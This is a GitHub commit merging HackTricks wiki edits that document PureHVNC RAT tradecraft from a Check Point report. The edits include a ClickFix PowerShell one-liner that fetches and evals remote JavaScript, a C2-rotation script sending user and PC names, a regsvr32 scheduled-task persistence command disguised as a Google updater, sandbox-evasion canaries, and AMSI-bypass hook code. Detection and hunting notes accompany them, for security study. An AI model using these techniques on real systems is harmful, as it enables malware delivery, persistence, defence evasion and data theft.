Skip to content

Commit 2605c53

Browse files
authored
Merge pull request #1413 from HackTricks-wiki/update_Under_the_Pure_Curtain__From_RAT_to_Builder_to_Cod_20250916_184356
Under the Pure Curtain From RAT to Builder to Coder
2 parents 81b5f86 + c914e7a commit 2605c53

4 files changed

Lines changed: 124 additions & 3 deletions

File tree

src/generic-hacking/reverse-shells/windows.md

Lines changed: 22 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -267,7 +267,27 @@ regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
267267
268268
**Detected by defender**
269269
270-
#### Regsvr32 -sct
270+
#### Regsvr32 – arbitrary DLL export with /i argument (gatekeeping & persistence)
271+
272+
Besides loading remote scriptlets (`scrobj.dll`), `regsvr32.exe` will load a local DLL and invoke its `DllRegisterServer`/`DllUnregisterServer` exports. Custom loaders frequently abuse this to execute arbitrary code while blending with a signed LOLBin. Two tradecraft notes seen in the wild:
273+
274+
- Gatekeeping argument: the DLL exits unless a specific switch is passed via `/i:<arg>`, e.g. `/i:--type=renderer` to mimic Chromium renderer children. This reduces accidental execution and frustrates sandboxes.
275+
- Persistence: schedule `regsvr32` to run the DLL with silent + high privileges and the required `/i` argument, masquerading as an updater task:
276+
```powershell
277+
Register-ScheduledTask \
278+
-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
279+
-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
280+
-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
281+
-TaskPath '\\GoogleSystem\\GoogleUpdater' \
282+
-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
283+
-RunLevel Highest
284+
```
285+
286+
See also: ClickFix clipboard‑to‑PowerShell variant that stages a JS loader and later persists with `regsvr32`.
287+
{{#ref}}
288+
../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
289+
{{#endref}}
290+
271291
272292
[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
273293
@@ -555,6 +575,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive
555575
- [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
556576
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
557577
- [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
578+
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
558579
559580
{{#include ../../banners/hacktricks-training.md}}
560581

src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md

Lines changed: 40 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,45 @@ mshta https://iplogger.co/xxxx =+\\xxx
6565

6666
The **mshta** call launches a hidden PowerShell script that retrieves `PartyContinued.exe`, extracts `Boat.pst` (CAB), reconstructs `AutoIt3.exe` through `extrac32` & file concatenation and finally runs an `.a3x` script which exfiltrates browser credentials to `sumeriavgv.digital`.
6767

68-
## Detection & Hunting
68+
## ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)
69+
70+
Some ClickFix campaigns skip file downloads entirely and instruct victims to paste a one‑liner that fetches and executes JavaScript via WSH, persists it, and rotates C2 daily. Example observed chain:
71+
72+
```powershell
73+
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
74+
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
75+
```
76+
77+
Key traits
78+
- Obfuscated URL reversed at runtime to defeat casual inspection.
79+
- JavaScript persists itself via a Startup LNK (WScript/CScript), and selects the C2 by current day – enabling rapid domain rotation.
80+
81+
Minimal JS fragment used to rotate C2s by date:
82+
```js
83+
function getURL() {
84+
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
85+
var current_datetime = new Date().getTime();
86+
var no_days = getDaysDiff(0, current_datetime);
87+
return 'https://'
88+
+ getListElement(C2_domain_list, no_days)
89+
+ '/Y/?t=' + current_datetime
90+
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
91+
}
92+
```
93+
94+
Next stage commonly deploys a loader that establishes persistence and pulls a RAT (e.g., PureHVNC), often pinning TLS to a hardcoded certificate and chunking traffic.
95+
96+
Detection ideas specific to this variant
97+
- Process tree: `explorer.exe``powershell.exe -c``wscript.exe <temp>\a.js` (or `cscript.exe`).
98+
- Startup artifacts: LNK in `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` invoking WScript/CScript with a JS path under `%TEMP%`/`%APPDATA%`.
99+
- Registry/RunMRU and command‑line telemetry containing `.split('').reverse().join('')` or `eval(a.responseText)`.
100+
- Repeated `powershell -NoProfile -NonInteractive -Command -` with large stdin payloads to feed long scripts without long command lines.
101+
- Scheduled Tasks that subsequently execute LOLBins such as `regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"` under an updater‑looking task/path (e.g., `\GoogleSystem\GoogleUpdater`).
102+
103+
Threat hunting
104+
- Daily‑rotating C2 hostnames and URLs with `.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>` pattern.
105+
- Correlate clipboard write events followed by Win+R paste then immediate `powershell.exe` execution.
106+
69107

70108
Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:
71109

@@ -93,5 +131,6 @@ Blue-teams can combine clipboard, process-creation and registry telemetry to pin
93131

94132
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
95133
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
134+
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
96135

97136
{{#include ../../banners/hacktricks-training.md}}

src/reversing/common-api-used-in-malware.md

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,11 @@
1717
| write() | send() |
1818
| shutdown() | WSACleanup() |
1919

20+
### TLS pinning and chunked transport
21+
22+
Many loaders wrap their TCP stream in `SslStream` and pin the server’s leaf certificate against an embedded copy (certificate pinning). Bot info/tasks are compressed (e.g., GZip). When responses exceed a threshold (~1 MB), data is fragmented into small chunks (e.g., 16 KB segments) to avoid size-based heuristics and reduce memory spikes during deserialisation.
23+
24+
2025
### Persistence
2126

2227
| Registry | File | Service |
@@ -49,6 +54,24 @@
4954
| CreateToolhelp32Snapshot \[Check if a process is running] | |
5055
| CreateFileW/A \[Check if a file exist] | |
5156

57+
### Emulator API fingerprinting & sleep evasion
58+
59+
Malware often fingerprints sandbox emulators by searching for Defender’s virtualised exports (seen in the Malware Protection Emulator). If any of these symbols are present (case-insensitive scan of the process), execution is delayed for 10–30 minutes and re-checked to waste analysis time.
60+
61+
Examples of API names used as canaries:
62+
- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
63+
- `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
64+
- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
65+
66+
Typical delay primitive (user-land):
67+
```cmd
68+
cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
69+
```
70+
71+
Argument gatekeeping
72+
- Operators sometimes require a benign-looking CLI switch to be present before running the payload (e.g., `/i:--type=renderer` to mimic Chromium child processes). If the switch is absent, the loader exits immediately, hindering naive sandbox execution.
73+
74+
5275
### Stealth
5376

5477
| Name | |
@@ -190,6 +213,7 @@ Detection ideas:
190213
## References
191214

192215
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
216+
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
193217

194218
{{#include ../banners/hacktricks-training.md}}
195219

src/windows-hardening/av-bypass.md

Lines changed: 38 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -275,7 +275,42 @@ This technique was initially discovered by [@RastaMouse](https://twitter.com/_Ra
275275
276276
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
277277

278-
This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
278+
### Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook)
279+
280+
AMSI is initialised only after `amsi.dll` is loaded into the current process. A robust, language‑agnostic bypass is to place a user‑mode hook on `ntdll!LdrLoadDll` that returns an error when the requested module is `amsi.dll`. As a result, AMSI never loads and no scans occur for that process.
281+
282+
Implementation outline (x64 C/C++ pseudocode):
283+
```c
284+
#include <windows.h>
285+
#include <winternl.h>
286+
287+
typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
288+
static pLdrLoadDll realLdrLoadDll;
289+
290+
NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
291+
if (module && module->Buffer){
292+
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
293+
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
294+
// Pretend the DLL cannot be found → AMSI never initialises in this process
295+
return STATUS_DLL_NOT_FOUND; // 0xC0000135
296+
}
297+
}
298+
return realLdrLoadDll(path, flags, module, handle);
299+
}
300+
301+
void InstallHook(){
302+
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
303+
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
304+
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
305+
// e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
306+
}
307+
```
308+
Notes
309+
- Works across PowerShell, WScript/CScript and custom loaders alike (anything that would otherwise load AMSI).
310+
- Pair with feeding scripts over stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`) to avoid long command‑line artefacts.
311+
- Seen used by loaders executed through LOLBins (e.g., `regsvr32` calling `DllRegisterServer`).
312+
313+
This tools [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
279314
280315
**Remove the detected signature**
281316
@@ -906,4 +941,6 @@ References for PPL and tooling
906941
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
907942
- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
908943

944+
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
945+
909946
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)